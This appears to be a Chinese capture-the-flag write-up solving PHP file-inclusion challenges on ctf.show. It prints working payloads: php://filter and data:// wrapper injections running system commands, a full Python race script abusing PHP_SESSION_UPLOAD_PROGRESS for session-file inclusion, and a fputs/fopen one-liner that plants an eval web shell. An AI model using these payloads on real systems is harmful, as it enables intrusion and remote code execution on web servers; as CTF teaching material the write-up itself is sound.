不知所措.jpg
试了一下get传参,大概率是文件包含了,伪协议直接打
1 ?file=php://filter/read=convert.base64-encode/test/resource=index.
这点之前lilctf里面也用到过,test不是filter可选的参数,所以是不影响的,但是不知道flag的文件名,只能试试data了
1 ?file=data://text/plain,<?=eval($ _ GET[a]);?>test& a=system('tac /F*');
easyshell 1 2 3 username/password error<html> <!--md5($ secret.$ name)===$ pass --> </html>
抓包给name和pass先随便传点,发现cookie里面有个hash值,说不定就是md5($secret.$name),给pass传入试一试,ok,拿到flflflflag.php,浏览器访问会跳转,我们依旧抓包,然后后面就是一个文件包含
1 2 3 4 5 6 7 8 <?php $file =$_GET ['file' ];if (preg_match ('/data|input|zip/is' ,$file )){ die ('nonono' ); } @include ($file ); echo 'include($_GET["file"])' ;?>
filter伪协议把flflflflag.php的源码拿到,我是先尝试了日志包含但是一直没回显,可能就是文件位置错了!试下session包含
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import ioimport requestsimport threadingsessid="flag" url="http://0e1f2cca-e2cb-408d-8f4f-6c42b1999025.challenge.ctf.show/flflflflag.php" def write (session ): while event.is_set(): f=io.BytesIO(b'a' *1024 *50 ) r=session.post( url=url, cookies={'PHPSESSID' :sessid}, data={ "PHP_SESSION_UPLOAD_PROGRESS" :"<?php phpinfo();?>" }, files={"file" :('feii.txt' ,f)} ) def read (session ): while event.is_set(): r=session.get(url=url, params = {"file" :"/tmp/sess_flag" }) if 'feii.txt' in r.text: print ("[+] 成功写入!响应:" ) print (r.text) event.clear() else : print ("[-] 继续尝试..." ) if __name__=='__main__' : event=threading.Event() event.set () with requests.session() as sess: for i in range (1 ,30 ): threading.Thread(target=write,args=(sess,)).start() for i in range (1 ,30 ): threading.Thread(target=read,args=(sess,)).start()
先试了最简单的phpinfo,直接就拿到了flag,然后disable_functions把命令执行的函数都给ban了!我用scandir扫描了目录/var/log/下没有nginx但是有个apache2这就不懂了,然后又试了/var/log/apache2/access.log,这里面好像没内容
最后发现还可以这样写马,利用fputs和fopen
1 <?php fputs(fopen('shell.php','w'),'<?php @eval($ _ POST[1]);?>');?>
然后用蚁剑的插件绕过一下就好了